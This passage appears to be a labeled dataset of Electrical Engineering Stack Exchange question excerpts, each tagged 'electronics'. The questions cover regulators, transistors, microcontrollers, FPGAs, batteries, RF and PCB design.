10mv/deg C. This output is to be connected to the ADC input of a Zigbee ... ",['electronics'] "Title: Multiple Power Sources and a Single Power Switch Body: I have a team and we're building an RC robot of sorts for a college competition. We require wireless video power source, Motor power source and Arduino power source. The Arduino will run off of a 9v ... ",['electronics'] "Title: Can I connect a BNC output of DVR to the antenna input of a LED TV? [closed] Body: I have a DVR and a LED TV. The DVR provides 2 video outputs, VGA and BNC but the LED TV only accepts 2 possible video input (HDMI and antenna socket). In my mental model, as the BNC output of DVR and ... ",['electronics'] "Title: Interface an SPI OLED swtch with a PC Body: I'm making a prototype with limited engineering skills, and have the need to integrate a NKK OLED Rocker Switch (SPI interface) with a Windows PC. I've the development kit that allows me to change ... ",['electronics'] "Title: Understanding the sensitivity of an L3G4200D gyroscope Body: I'm hoping someone can help me interpret the meaning of the sensitivity values for the L3G4200D gyroscope. Two small extracts of the datasheet are below: So my question is this. If the gyroscope ... ",['electronics'] "Title: Increasing output voltage of a fixed linear regulator Body: I'm using a AMS1117 fixed 3.3V linear regulator and I want to increase its output voltage to about 4V. The input voltage to the 1117 is in the range of 9-10V. Wikipedia suggests that it's possible ... ",['electronics'] "Title: MD5 VHDL pipeline Body: I am trying to implement a 3-stage MD5 pipeline according to this link. In particular the algoritms on page 31. There is also another document which describes data forwarding. This is done in an FPGA ... ",['electronics'] "Title: Sequential Logic - Primarily For Signal Storage? Body: New here :D I've been reading David M. & Sarah Harris's book ""Digital Design and Computer Architecture"" and came to wonder about the role of sequential logic. To me, it seems that the ... ",['electronics'] "Title: Troubleshooting embedded system [closed] Body: I am in process of troubleshooting an embedded system.It has a 3.0V DC bus line. Accidentally I connected a 12V bench supply..after that the embedded system doesn't seem to be working at all. The unit ... ",['electronics'] "Title: driving low side of a mosfet bridge with 3.3V Body: I'm trying to drive a the low side of a n-channel half bridge with a 3.3V signal that is not enough to switch the MOSFET I think (sometimes it does switch and sometimes it doesn't). I did this: ... ",['electronics'] "Title: Infra Red LEDs - Voltage Advice Body: I've built an array of Infra Red LEDs on a 4x4 grid. I want to get the most power out of these LEDs as I can, but I'm scared I might burn them out. Right now, I'm using 2AA batteries (1.5V each), ... ",['electronics'] "Title: Starter PICs in all device families [closed] Body: I want a list of PICs that are easy to start with in every device family. That is: 8-bit: PIC10, PIC12, PIC16, PIC18 16-bit: PIC24F, PIC24H, PIC24E 16-bit ds: dsPIC30F, dsPIC33F, dsPIC33E 32-bit: ... ",['electronics'] "Title: Can I connect 2 AAA battery chargers in parallel (to use them as a power supply with higher mA·h) Body: What I'm trying to do is to make an emergency power supply for a fishbowl (In my country, the power goes out very often). When the power goes out, a relay will connect the 8 batteries in parallel to ... ",['electronics'] "Title: how to use a 3v output to control a 5v relay Body: I have some circuit where my board (Electric imp) can output up to 3.3v, and i need to control a relay with atleast 5v in order to effect the coil and close the circuit. i have a power supply of 5v, ... ",['electronics'] "Title: is there an XML standard to describe a component's characteristic Body: I'm trying to automatize data extraction from datasheet's table. It's still a work in progress but I have good hope for it, some keyword ""characteristic, min, max, symbol, test conditions,..."" make ... ",['electronics'] "Title: How to design and build intelligent controller for a power pack made of recycled lead-acid batteries? Body: I am quite ignorant in electronics, but I am now building a small off-the-grid installation to be freely cloned (CC-BY) in rural areas of Eastern Poland (and perhaps Ukraine). The vital part of it is ... ",['electronics'] "Title: Continuity tests, risks? Body: Even though the electronic device is powered off, isn't there a risk of doing a continuity test on connections in the middle of the circuitry ? I mean, you do apply voltage doing so - couldn't that ... ",['electronics'] "Title: How can a Li-Ion battery maintain decent characteristics for nine years? Body: Turns out Opportunity Mars rover is already working for nine years. It uses Li-Ion batteries to store energy acquired from the solar panels. In my experience Li-Ion batteries when recharged ... ",['electronics'] "Title: MBED Controller Module Datasheet and Pin Details Body: I want to connect the output pins of NXP MBED controller to 16 electromechanical relays,and 32 LEDs,what is the best way to do this?The relay would require a current of at least 300mA and LED would be ... ",['electronics'] "Title: Thin profile wire joins and forks Body: I've a project where I'm installing some LED lighting. I am currently using crimp connectors and electrical tape to join two pieces of wire or fork wire, but I find this to be ugly. I would like to ... ",['electronics'] "Title: How does the addition of a bias-t circuit affect the impedance of a transmission line? Body: I've got a GPS circuit where the antenna is connected directly to the GPS receiver via a coplanar waveguide designed for an impedance of 50ohms. Unfortunately, I neglected to add the bias-t circuit ... ",['electronics'] "Title: Is there an open source USB to JTAG circuit I can include in my PCB design? Body: Im trying to find out if it would be possible to build/include a USB to JTAG circuit on my experiment circuit board I'm designing. My aim is not to reinvent the wheel, but use something that is ... ",['electronics'] "Title: For switching 220VAC, is a specific coil voltage and coil resistance better than another? Body: Is there any reason why I might choose an EM-relay rated at coil-voltage of 24V or 12V, over one rated at coil-voltage of 5V, all other specs like contact max. current, switching voltage, life etc ... ",['electronics'] "Title: Difference between MISO/MOSI and TxD/ RxD Body: What is the difference between USART and SPI ? There are [TXD/RXD] for USART and [MISO/MOSI/SCK/SS] for SPI. I know that SPI is a synchronous protocol but USART is hardware. But, what's difference ... ",['electronics'] "Title: Why does water short out PCBs? (i.e. Why doesn't electricity follow the path of least resistance?) Body: If copper is more conductive than water (at any reasonable PH), submerging copper electronic circuits in should have no effect, as the electricity should continue to follow the path of least ... ",['electronics'] "Title: Under what circumstances can impedances be simplified to simple resistances? Body: Consider the following circuit: This is a simple first-order low-pass RC filter. The cutoff frequency is: \$ f_c = \dfrac{1}{2 \pi (1k\Omega) (1\mu F)} \approx 159 Hz \$ The reactance of C1 at ... ",['electronics'] "Title: TFT display with ILI9328 controller Body: I would like to get started with TFT displays (expecially ""printing"" text on the display). I feel like standard 20x2 or even 20x4 LCD displays are somewhat too limited. Plus touchscreen maybe a good ... ",['electronics'] "Title: How to measure phase angle of 3 phase by microcontroller Body: I am currently using PIC18F452, trying to measure the phase angle of 3 phase. How can I measure this. What feature of PIC can I use to solve it. ",['electronics'] "Title: Arrows on connections in schematics Body: Im using eagle, and was wondering how i'd produce arrows like this: Is there a specific name for these? That show connections between many schematics. ",['electronics'] "Title: Performing different actions on the same timer Body: I am working with MC9S08AW60 on the Board-DEMO9S08AW60E. I have written the following code to perform Serial Comm, LED sequence and Keyboard Tx-RX. ... ",['electronics'] "Title: Does shutting down and repowering CPU consume more energy? Body: I have an internetshop that has 20 CPUs. Only 50% on average are being used throughout a regular day and almost 80-100% during saturdays. I use a Server-Client to Shutdown an unused computer but ... ",['electronics'] "Title: Serial NOR Flash - Vague Body: What are the structural differences between Serial NOR Flash and Parallel NOR Flash? If there is a structural difference , then What are the differences between Serial NOR Flash and Serial NAND Flash? ... ",['electronics'] "Title: How can I efficiently drive an LED? Body: I understand that I can not connect an LED directly to a battery because it will draw too much current. Thus, there must be something else in the circuit to limit the current. What options are there? ... ",['electronics'] "Title: MCP3008 ADC , Reading 16 bits instead of 10 bits Body: I was playing around with some MCP3008 ADCs from Microchip with an Arduino. The playground has an example for the MCP3208 (which seems to be just a 12 bit version of the MCP3008) Well, when I ... ",['electronics'] "Title: Explanation for transistor as amplifier [closed] Body: Tell me if i am correct or not. In transistor as an amplifier, we have n-p-n transistor (base in the middle and emitter and collector at the sides). The collector has electrons in majority because it ... ",['electronics'] "Title: Connecting an environmental sensor to multiple smart phones [closed] Body: Newbie heading for the deep end here, I am working on a project where a number of students will use smart phones to connect via bluetooth to sensors placed around a woodland. It has occurred to me ... ",['electronics'] "Title: Several variations of the same chip, what does it mean? Body: When I look for ICs online, I often come across a list like this one. For example, I just searched for the 4N35 optocoupler, and came up with a list: 4N35M 4N35SM 4N35SR2M 4N35SR2VM 4N35SVM 4N35TVM ... ",['electronics'] "Title: RF transceiver WITHOUT built-in modulation [closed] Body: I'm trying to find an RF front-end module for a simple data transmission system of 500 bps. Since I'm testing different encryptions, I want to modulate the signal, encrypt it, and then transmit it. ... ",['electronics'] "Title: How to interface a digital scale strain gauge weight sensor with a microcontroller [closed] Body: It is a Load Sensor(SEN-1638) Which can be used to Measure upto 110 Pounds So,How To Interface the above sensor to a Microcontroller Component? ",['electronics'] "Title: How are LFSRs used in real applications as PRNGs? Body: I am programming a LFSR (Linear Feedback Shift Register) in software for learning purposes, and have encountered some limitations in its use as a pseudo-random number generator (PRNG). If the seed ... ",['electronics'] "Title: PIC16F877A Resets Body: I have a PIC16F877A and I am supposed to connect 3 LED lights that are series on each output pin the PIC has 40 pins and 33 output pins, if I connect 5 output pins the code I made that will make the ... ",['electronics'] "Title: Teensy microcontroller showing slow fall time (but fast rise time) Body: My Teensy++ 2.0 is showing some slow fall times, around 1ms, when I set a pin to low. It looks like there's capacitance on the line, but the rise time is pretty much zero, so that can't be it. Has ... ",['electronics'] "Title: Altium error: Nets containing multiple input ports. What does this error mean? Body: I am relatively new to Altium, and I am running into the following errors when compiling my schematic: Net SDI contains multiple Input Ports (Port SDI,Port SDI) Net CLK contains multiple Input ... ",['electronics'] "Title: How to implement an ISP connector on my board Body: I'm planning to make a small circuit with a ATtiny85V-10PU. As the pins on this chip are very limited, there are just enough for what I'm planning to do, so all pins will be used for in- or output ... ",['electronics'] "Title: Measuring forklift battery's voltage Body: I'm trying to measure a fork's lift battery by an ADC. The problem that the output voltage isn't predictable and not constant, so that I can make a constant voltag divider. What I have measure is it ... ",['electronics'] "Title: How to calculate access time for a cache simulation? Body: We're simulating a MIPS cache with a program called MipsIT. We've reached a point where we should set access time for the memory. But I don't understand how to calculate this setting. It says in ... ",['electronics'] "Title: Voltage at common node in transistor Body: This is a rather elementary question but I think my fundamentals are not clear on this. What is the voltage at the common node? Firstly, I thought voltage was taken across something i.e it's taken ... ",['electronics'] "Title: How are current and voltage out of phase in capacitive circuit? Body: We say that in capacitive circuit the voltage and current are out of phase. Current is 90 (degrees) ahead of voltage. What is the physical explanation for this effect? How can current flow through a ... ",['electronics'] "Title: Small, cheap, and simple driver for 16 RGB LEDs Body: I am working on a board design that will put 16 RGB LEDs in a circle around a rotary encoder. I want this setup to be simple so that I can run it from any micro with limited software (ie. built in PWM ... ",['electronics'] "Title: Microcontrollers/microprocessors and different bit versions, what's the difference? Body: As a general engineering hobbyist, I am learning more about the world of microcontrollers each and every day. Once thing I don't quite understand though is the significance of the bit version of a ... ",['electronics'] "Title: LED specs for atx power on status Body: Most ATX motherboards have those same pins for 'interfacing' with the computer case... depending on the manufacturer they vary on position (hence loose wires at the case end) but never function. So i ... ",['electronics'] "Title: Modelling Capacitor Leakage Body: I have a 680uF electrolytic capacitor rated for 25 volts. Yesterday night I was curious as to how much current leaked out of it over time, so I charged it with a generic DC power supply, and measured ... ",['electronics'] "Title: VO2223A datasheet query — pin 5 Body: This is a follow-up to a previous question, regarding the VO2223A opto-coupler/Phototriac. My understanding of the chip is that the IR LED triggers a phototriac, which in turn drives the gate of a ... ",['electronics'] "Title: Can you identify the Xbox 360 battery pack connector? Body: This is the contact used on the Xbox 360 battery pack. Is it a custom part that was made for Microsoft or is it an of the shelf part? If it is a custom part is there anyway I can replicate it short ... ",['electronics'] "Title: why power supplies won't work with laptops? Body: laptops need a supply and it is a DC voltage isn't it? so why my lab power supply can't turn my laptop on. it is tune on the desired voltage and polarity, when i press the on button, the laptop ... ",['electronics'] "Title: SuperNode Problem Body: I'm still having problems with supernodes. correct me if my logic is wrong. I took the KVL of the circuit which was \$-v_1 +2V_o + V_2 = 0\$; afterwards, I did the nodal analysis of both the ... ",['electronics'] "Title: Is using Same Ground and VDD for MCU and motor driver module safe? Body: Im trying to design an MCU prototyping board. i have 2 voltage regulators (3.3 and 5V) and motor driver on my board. All grounds are common, VDD of MCU comes from 3.3v reg and power supply for motor ... ",['electronics'] "Title: Can a soapbox-sized device dissipate 10-15W of heat? If yes, how? Body: Some time ago, I built a soapbox-sized battery testing device. One of its functions was to discharge batteries at a specified current, and it handled most of the common battery sizes well, but its ... ",['electronics'] "Title: Does a self-powered USB device have to connect to VCC from the host port? Body: A self-powered USB peripheral provides its own power, so is it okay to connect just D+, D- and GND to the host port, or do you always have to connect +5V as well, then wait for the negotiation phase ... ",['electronics'] "Title: Of the two - which is the better archival media - Standard HDD or Flash Body: There are two totally different ""bit rot"" mechanisms in place here in the two technologies, so which would be expected to last longer? Which is inherently superior for archival purposes. Will a ... ",['electronics'] "Title: Calculate current load for 8 motors Body: I have 8 DC brushless motors that are connected parallel to a DC source. According to the motor manufacture each motor powered with a 12V DC and need 11A. How can I calculate the the current load of ... ",['electronics'] "Title: Using a soundswitch to activate a relay Body: I'd like as an end state of my project for sound to activate a relay and then either a) the relay to stay on for a limited amount of time (~15 seconds) or b) ideally - the relay to be triggered off ... ",['electronics'] "Title: Arduino logging vertical acceleration data Body: I'm doing a project where I want to start and stop recording of accelerometer data set up to measure the vertical acceleration Z axis of a car's suspension movement when it hits a pothole. I want to ... ",['electronics'] "Title: Arduino DHCP error Body: I'm testing the Ethernet Shield with and Arduino Uno and I'm getting a DHCP error just using the example sketch. ... ",['electronics'] "Title: Poor RF communications : looking for advices [closed] Body: I am in charge of a temperature monitoring and controlling project in a new building with 7 floors and 14 rooms by floor. I installed last week thermostats devices in each rooms permitting to send ... ",['electronics'] "Title: Effect of Changing polling time in hid interrupt transfer Body: I have interfaced a HID bar-code scanner with LPC2468 using interrupt transfer. The polling interval which i receive(from bar-code) in the Endpoint Descriptor is 10 ms. What will happen if i increase ... ",['electronics'] "Title: Enable pin current limiting resistor? Body: I was looking at the AOZ1280CI DC-DC buck converter, and I'm having trouble properly interpreting the datasheet concerning the enable pin. In the pinout description, it states: Enable pin. The ... ",['electronics'] "Title: What determins the available amps in an AC to DC converters (wall wart)? Body: Concerning the older, simple transformer, rectifier, capacitor AC to DC converters, what determines available amps (amp output)? Is it simply the thickness of the transformer wires? What about the ... ",['electronics'] "Title: Building a pocket theremin Body: I'm putting together a kind-of sort-of theremin (this one in particular http://www.popsci.com/diy/article/2008-04/build-pocket-theremin-cheap) and I'm looking to make a bit of a change to it. What I ... ",['electronics'] "Title: Practice hockey net Body: I want to build my son a practice hockey net. I am thinking of using a large chunk of plastic cut out in the shape of a net. I would like to have a force or pressure sensor in each of the four corners ... ",['electronics'] "Title: Power line communication over 220V 50Hz main line [closed] Body: I want to make a device to send and receive data using the main power line, and I want it to be compatible with the X10 protocol, but i have no resource on the circuit and I don't know how to inject ... ",['electronics'] "Title: Electromagnetic induction circuit Body: In the picture below we see 3 LEDS in a parallel circuit. When the switch is closed only LED 2 and LED 3 are on. LED 1 isn't on because it's a diode in the opposite direction. You observe what happens ... ",['electronics'] "Title: how do I output through GPIO pins instead of RS232 from a Z8 Encore MCU? Body: I'm currently learning about MCUs in school (read: n00b) and I'm trying to fool around with the equipment at home. Problem is that I only have a netbook and don't have any serial IOs on it, so I have ... ",['electronics'] "Title: Taking output from FIFO implemented in verilog Body: I have a big design implemented in Verilog. The design has FIFO as shown in the image below. Due to some reason I have to add a new ""Consumer"" block shown. The issue is, this block needs all the ... ",['electronics'] "Title: Shift registers - what happens at single clock pulse? Body: I think I just don't fully understand shift registers made from D-flip-flops as in http://en.wikipedia.org/wiki/Shift_register Why does it shift only one bit per pulse? As I look at it it just seems ... ",['electronics'] "Title: Altera: Change JTAG clock speed Body: I am having issues with JTAG with my Cyclone IV, specifically the JTAG clock. I am trying to change the JTAG clock frequency somewhere, but can't find where this is done in Quartus II. How can I ... ",['electronics'] "Title: RGB LED using PWM [closed] Body: I am working on a RGB project using PWM. I need help in C- code. I want to display different colors from LED. But due to my small info of C- language it is difficult. Is there any guy can help me in ... ",['electronics'] "Title: Designing Power on failure system Body: I came a cross a design problem which I need your suggestions in it. I have 3 power sources, Main Supply which is 9-32DC, a battery pack 12VDC, and PoE Module, all are connecte to tripel output 12, ... ",['electronics'] "Title: Xilinx: .bit --> .SVF / .ACE Body: I've generated the bitstream file for my device, which steps should I take to compile the .ACE file, I could flash my device with? I'm using Xilinx ISE 10.1 with Virtex2 over an VME interface ",['electronics'] "Title: 2 loads not working together on the same battery Body: One 12v car battery powers 2 loads. One load is 3.5A and the other is 100mA. The 100mA load is always on. When the 3.5A load gets switched on, scope readings show the amp draw momentarily dropping to ... ",['electronics'] "Title: How to select a proper transistor? Body: I've got a schematic that calls for an unspecified ""NPN Negistor"". From my understanding of the circuit, the NPN is an oscillator that generates two audio tones for testing. Here's the schematic: ... ",['electronics'] "Title: Wifi Module over UART with STM32 mcu Body: I am trying to integrate an off the shelf wifi module with STM32f2 mcu over UART interface. I need to test the board after laying out the board. Is there a way I can test this UART interface before ... ",['electronics'] "Title: What is a secondary transformer? Body: On a number of projects I'm building, there's a transformer between wall power and device power. In the parts lists, the transformers are usually designated by ""12v secondary transformer"" or ""18v 4a ... ",['electronics'] "Title: How to implement a control system Body: I have designed a Control System and don't know how to implement it. I have modeled the physical system and have designed the control based on the State Space method. The state space form is as ... ",['electronics'] "Title: Can I simulate any component with LTSpice? Body: I'm trying to build a very basic 3.3V supply, but would like to simulate the circuit in LTSPice if possible, before I physically build the circuit. I'm using a couple of components not found in ... ",['electronics'] "Title: Induction charging - What kind of calculations are involved? Body: I am designing a simple locking mechanism. The idea is that the locking mechanism cannot be locally powered. In other words, the key (size does not matter) and the lock must interact wirelessly. More ... ",['electronics'] "Title: I need to vary / delay a voltage to an HT coil, thus delaying the spark Body: I need a way to slow/vary the signal to a coil so as to retard the ignition on my Moto Guzzi motorcycle. I'm wondering if this can be achieved by delaying the signal created by the points/electronic ... ",['electronics'] "Title: Converting 8 bit bmp to halftone bmp Body: I am explaining my question in detail now as I am realizing that I did not explain my question well. I am a beginner in Verilog. To learn the language I am writing some sample applications. At ... ",['electronics'] "Title: How to design the value of capacitor for Capacitive DAC based on noise and mismatch analysis? Body: In order to design the correct value for the capacitor in a capacitive DAC, we need to look at two possible causes of errors. Noise and Mismatch Analysis. sqrt(kT/C) should be less than 1/2 LSB. But, ... ",['electronics'] "Title: What is backdoor memory access? Body: There is a term in HDL simulation/verification called ""backdoor memory access"". I've heard this a lot of times though I'm not sure how is this implemented. Also, there are a few references for this ... ",['electronics'] "Title: difference between throughput and bit rate? Body: Throughput and Bit rate seems to have the same meaning and also have same unit of bits per second. Then what is the exact difference between throughput and bit rate? ",['electronics'] "Title: PS3 Sixaxis controller won't charge over USB [closed] Body: I made a 5V charging setup and want to connect USB devices to it to charge them. Most devices work ok, but my Playstation 3 Sixaxis controllers won't charge. The voltage is ok, slightly over 5V. As ... ",['electronics'] "Title: Getting started with an Arduino Ethernet board (not shield) Body: I got an Arduino Ethernet board for Christmas, and I can't figure out how to start using it. This is NOT an Ethernet shield without an Arduino board, this is their board/shield combo (link). I've ... ",['electronics'] "Title: Which connection(s) to a decoupling capacitor should be shortest? Body: Circuit Cellar-Issue 210- has this question ""Which connection(s) to a decoupling capacitor should be shortest?why?"" in its ""Test your EQ section"". I couldn't understand what they meant 'Which ... ",['electronics'] "Title: Diode Bridge in Simulator not behaving as expected Body: Hi I have a Diode Bridge as outlined in the image below. As you can see I am getting a negative voltage on one pair of diodes instead of this voltage being flipped to positive. Can you see anything ... ",['electronics'] "Title: Does CW or SSB consume more power? Body: CW pumps out the full carrier but has a better SNR. On the other hand SSB suppresses the carrier, and one side-band but this suppression demands additional circuitry. There are probably additional ... ",['electronics'] "Title: Can I slow a CMOS output through an RC filter? Body: Is it good practice to slow down the slew rate of a CMOS output by putting an RC filter on it? What happens with impedance matching after I do this? Or can I just set the RC filter with such a low ... ",['electronics'] "Title: Switching a current with an NPN transistor and a P-MOSFET Body: Just learning about transistors and I'm trying to clearly understand how to apply them for basic switching, in terms of the two standard cases, i.e., Active HIGH behavior and Active LOW behavior. For ... ",['electronics'] "Title: Need help understanding Ultra Low Power Wakeup on PIC16F887 Body: I am trying to implement the ""Ultra Low Power Wake Up"" feature on a small PIC project. The idea is the chip will go to sleep, and then be woken up in the future by the ULPWU interrupt. The idea ... ",['electronics'] "Title: Ground noise and voltage drop problem Body: I have an RC device powered by a 3.7V poly battery, which includes a motor and a 40KHz sonar. The voltage across the sonar sensor is amplified and then adc-ed. The motor is driven by a 2KHz PWM. When ... ",['electronics'] "Title: Capacitor discharge after charge Body: I have this circuit for charging a capacitor: What I need is a circuit for discharging the capacitor after 'V' (the voltage across the 100 µF capacitor) has reached the maximum value of 2V. I ... ",['electronics'] "Title: Is it bad design to use logic gates for multiplexing? Body: I have a PIC18F4550 which uses the same pin for UART RX and SPI data out. Would it be bad design if I used a GP I/O pin and a logic gate to control the multiplexing of that pin? When the IO1 pin ... ",['electronics'] "Title: If my battery charger says 160mA on the back, what does that mean to my 1800mAh batteries? Body: I'm sorry if this is a horrible place to ask such a question. I just stumbled upon here from google. So I have this battery charger that DOES NOT indicate when a battery is fully charged (stupid ... ",['electronics'] "Title: Mimicking an adapter with a dc power supply [duplicate] Body: Possible Duplicate: Choosing power supply, how to get the voltage and current ratings? Is it possible to set up a DC source of power for a laptop so that it mimics the specs of the adapter ... ",['electronics'] "Title: FTDI-based programmer works with ATmega but not ATtiny? Body: I'm using an FTDI-based bit-bang programmer for my AVR MCUs with AVRDUDE. It works perfectly with ATmega32A, but does not work with ATtiny45. The command that I use to try if it works is: ... ",['electronics'] "Title: Simple Implementation of the AD9834 DDS Chip [closed] Body: I'd like to see a simple implementation of the AD9834 DDS chip. I'd like to use this in a homebrew Amateur Radio build. The test circuits in the datasheet were rather confusing, and the ... ",['electronics'] "Title: Need help with generating a bi-phasic current Body: I'm trying to generate a symmetric biphasic current pulse using a Grass S88 Stimulator. Here's a diagram: SG is a signal generator with two outputs, S1 and S2, which are generating a periodic ... ",['electronics'] "Title: Is it safe, or even possible, to draw more power from a USB port than it was designed to provide Body: One of the products being shown a CES is a dongle intended to let you charge a tablet from a laptop USB port that normally wouldn't work because it didn't provide enough power. The CNET writeup ... ",['electronics'] "Title: In a boost converter, should ground plane be placed underneath the gate trace? Body: When designing the PCB layout for a DC-DC boost converter, one does not place a ground plane under the inductor, to prevent induced ground currents. Also, for SMD MOSFETs, the drain (switch node) ... ",['electronics'] "Title: How do I calculate the correct resistor, capacitor for a low pass circuit? Body: I'm looking through an article on www.allaboutcircuits.com and www.electronics-tutorials.ws in an attempt to learn more about how low pass noise filtering on for example a circuit that needs to supply ... ",['electronics'] "Title: Polling hid device on lpc2468 Body: I want to interface an HID bar code scanner with lpc2468 16/32 bit micro,Enumeration was successful using the UsbHostLite code,I want to poll the hid device after every 20 ms, but was not able to do ... ",['electronics'] "Title: How to connect mic on arduino, with opamp? Body: I'm trying to connect a contact mic to an arduino. My knowledge in electronics is sparse, so please bear with me. I got a couple of lm833n audio dual opamps, which I'd like to put to use. I'm still ... ",['electronics'] "Title: iDAC + Current Mirror with 20V compliance Body: I want to create a 0-100uA constant current pulse with 20V compliance for use as portable biological stimulation device. I'm using a Cypres PSoC 3 as the MCU. I was originally planning to use an ... ",['electronics'] "Title: adding a yagi antenna to a bluetooth dongle Body: I want to set up a Bluetooth link between devices that are over 2000 feet apart. Yagi antennas for 2.4GHz that can connect to routers are available. A cheap Bluetooth dongle that can be easily taken ... ",['electronics'] "Title: SDRAM on opposite side of board with respect to uC Body: Just a quick question. Is it advised against to place a high speed memory device on the opposite side of the PCB with respect to the microcontroller? And if it is ill advised, how is it possible to ... ",['electronics'] "Title: Automobile Project (Electrical Parts Requirement) Body: I'm looking at putting together a circuit board to be used in an automobile. It will only be connected to a 12 V and ground. Everything else will be internal to my board. I was planning on putting a ... ",['electronics'] "Title: What does this schematic symbol mean? Body: I'm trying to understand what the following symbol is for. It's found in this schematic. ",['electronics'] "Title: Schematic Critique: Phy interface with RJ45/Magnetics Body: I'm working on my first major schematic design and would really appreciate some feedback on the analog side of the 1000BASE-T Ethernet interface. I'm mostly concerned about the analog line termination ... ",['electronics'] "Title: PIC: Debug power consumption issues Body: I have a board containing a PIC16 (see datasheet here) that is drawing too much current. We're able to measure the current draw for the board as a whole, but we can't measure the current draw for ... ",['electronics'] "Title: Power of a heater Body: How to use different formulas of power ( \$\frac{V^2}{R}\$, \$V \cdot I\$, \$I^2 \cdot R\$ ) at different situations. Likewise, for instance, i have a heater of 1000W which converts 220 V to ... ",['electronics'] "Title: Control AC using FET Body: Trying to make a AC fan controller using Arduino and FET ST13005A. Instead of pwm with TRIAC or SSR, like to have fine control over the voltage. Voltage 230 V 50 Hz. Please see if the below ... ",['electronics'] "Title: Testing an inductors self reasonant frequency Body: Yesterday I was building an LCR meter which wasn't functioning correctly. After some researh online I found that the self reasonant frequency of inductor has a part to play as well. If I understood ... ",['electronics'] "Title: Frequency shift Body: I'm trying to generate a signal which contains only several specific frequencies I know of in advance, around (16.4kHz, 16.7khZ, 17kHz,...) the signal is generated using a microcontroller, which then ... ",['electronics'] "Title: Soldering small connector to a wire Body: I am working on a hobby project which will have a eTape Liquid Level sensor connected to an Arduino controller. Since it is highly inconvenient to attach the sensor directly to the board, I'm trying ... ",['electronics'] "Title: calculating FSM's maximum clock frequency Body: Let's assume we have the Truth Table for our Finite state machine. How can we determine the maximum clock frequency for the system, under the assumptions that the wire delay is 0.3 ns , flip-flop ... ",['electronics'] "Title: Memory IC width vs depth Body: Given a need for a single 2G × 32 bit DDR3 memory block, which configuration would be ideal and why? A: Two 2G × 16 bit memory ICs or B: Two 1G × 32 bit memory ICs I think that A ... ",['electronics'] "Title: I2C combining read and write operation Body: I'm designing my own data protocol for communication between PICs, ICs, etc. and in the specification I'd like to compare it to the existing I2C protocol. There are two types of operation on the I2C ... ",['electronics'] "Title: Servo Current Draw When Moving Body: This may seem a very silly question, but does a servo draw more current when it's moving? I need to be able to log when a servo flips, and being able to log the current drawn from the battery pack ... ",['electronics'] "Title: What is the mathematical relationship between MOSFET switching frequency (motor speed control) and motor speed in rpm? Body: What is the mathematical relationship between the switching frequency of MOSFET in a three phase motor controller (induction motor and BLDC motor) and the speed in rpm of the motor shaft? ",['electronics'] "Title: + and - meaning in Tx+ and Tx- in cable pairs? Body: Tx and Rx are required in Computer networking, used in Cat5 or Cat5e or Cat6 cable? What does +(plus) and -(minus) sign mean in cable pairs for RJ45 ",['electronics'] "Title: RF current output from microcontroller? Body: I am producing a PWM pulse of say 5Mhz from one of the pin of PIC micrcontroller and I want to drive this to high speed buffer, what is the best way to transfer this RF current from the pin of uC to ... ",['electronics'] "Title: How to switch both AC and DC voltage to a load Body: I have a load, an electrode basically acting as a very tiny capacitance, that I want to supply a voltage or bring to ground. The voltage can be either DC, up to about mains voltage, or AC into low KHz ... ",['electronics'] "Title: ATX power supply troubleshooting [parttern of failure] [closed] Body: I'm troubleshooting a ATX power supply and I found that fuse has gone. Then I replace the fuse, Then fuse burnt very violently. Then I trace the tracks and found that RL207 diodes , 3 out of those 4 ... ",['electronics'] "Title: Is there a PIC development tool like Texas Instruments's EZ430‑F2013 to help introduce me to PIC? Body: I would like to familiarize myself with Microchip's PIC product line and IDE, I don't want anything too basic or cheesy, etc. I can't seem to find a device like Texas Instruments's EZ430‑F2013 USB ... ",['electronics'] "Title: FCC Pre-Certification Testing [duplicate] Body: Possible Duplicate: FCC and CE Testing / Failure Resolution I am looking to do some pre-certification on several boards. I know several members here are quite experienced in this area. I ... ",['electronics'] "Title: What does this schematic symbol represent? Body: What is this symbol from an automotive schematic? ",['electronics'] "Title: How do I connect a 14-pin ZIF? Body: I'm a student that is trying to learn hardware by building various devices, in this case a barcode reader from scratch. I bought a barcode scanning engine that has a 14 pin ZIF, pitch 0.5 mm (0.2 in) ... ",['electronics'] "Title: PSpice Op Amp Capture Problems Body: I am designing a circuit in OrCAD 16.5. I have added the libraries in the ""place part"" section and have used the LM837 and LT1115 Op Amps. When I create my netlist, I am getting the warning ""No ... ",['electronics'] "Title: Current through the reverse biased junction in transistor Body: A transistor is a three terminal device. One terminal is called emitter, one collector and in between them is base. Now, during biasing the junction between emitter and base is made forward biased and ... ",['electronics'] "Title: Looking for a quick and easy way to boost +5VDC to +24VDC [closed] Body: I am looking for a simple IC solution how to boost +5VDC to +24VDC 1A. Requirements: THT (the project is on a 2.54mm(0.1"") experimental breadboard) low-cost (this is a hobby project, so ... ",['electronics'] "Title: Removing DC wander in the offset of a DC-biased audio signal Body: I'm trying to read an audio signal from an Android phone as a serial input to an MSP430G2553, adapting this design to use the MSP430's onboard comparator module instead of an LM324. The Android code ... ",['electronics'] "Title: MCP6N11 reference voltage problem Body: I am using the MCP6N11-010 in a current sensing circuit (Battery charger). i would like the output of the INA to show the difference in inputs starting from 0v going up to VDD but cant seem to get the ... ",['electronics'] "Title: Arduino 1.0.3 on Ubuntu [closed] Body: Trying to install the latest Arduino IDE on Ubuntu 12.04 but the latest it shows in the software center is 1.0 not 1.0.3 Any idea why the latest isn't there? I know I can download the archive ... ",['electronics'] "Title: Arduino : Finding ADC & Pin Change in same pin Body: I am using ATMega 328. I'd like to get ADC & Pin change interrupt in analog input pins (A0 - A5). ADC is working but how to make the electronic circuit for Pin change? ",['electronics'] "Title: What would I need for this wireless transceiver setup? Body: I'm a software engineer, and I'm not familiar with hardware at all. Right now I'm working on something that requires (hopefully) very simple hardware. All I want to do is be able to send a signal ... ",['electronics'] "Title: Op-Amp tester on LM4250 Body: So I have found this Op-Amp tester on Google here link and while it works on a 741 it doesn't on my LM4250 (Programmable operational amplifier). Is this supposed to work on any op-amp or have I just ... ",['electronics'] "Title: Battery monitor gauge for embedded development Body: For one of our upcoming projects, we have a battery pack consisting of 12 Energizer L91(Lithium /Iron disulphide AA Battery). We divide this battery pack into three sets of 2 ,5 and 5. In order to ... ",['electronics'] "Title: How can I detect my vehicle's shifter position? Will a Hall Effect Sensor work? Body: I drive all Manual Transmission vehicles, and after a long battle of wills with my girlfriend, she has conceded that she would learn if there was a display that showed what gear was selected, thinking ... ",['electronics'] "Title: How to Find Time Constant of a BLDC Motor? Body: I've done this with DC motors by determining the inductance and then computing tao = L/R where L is the inductance of the coil and R is the resistance of the coil. Is there a 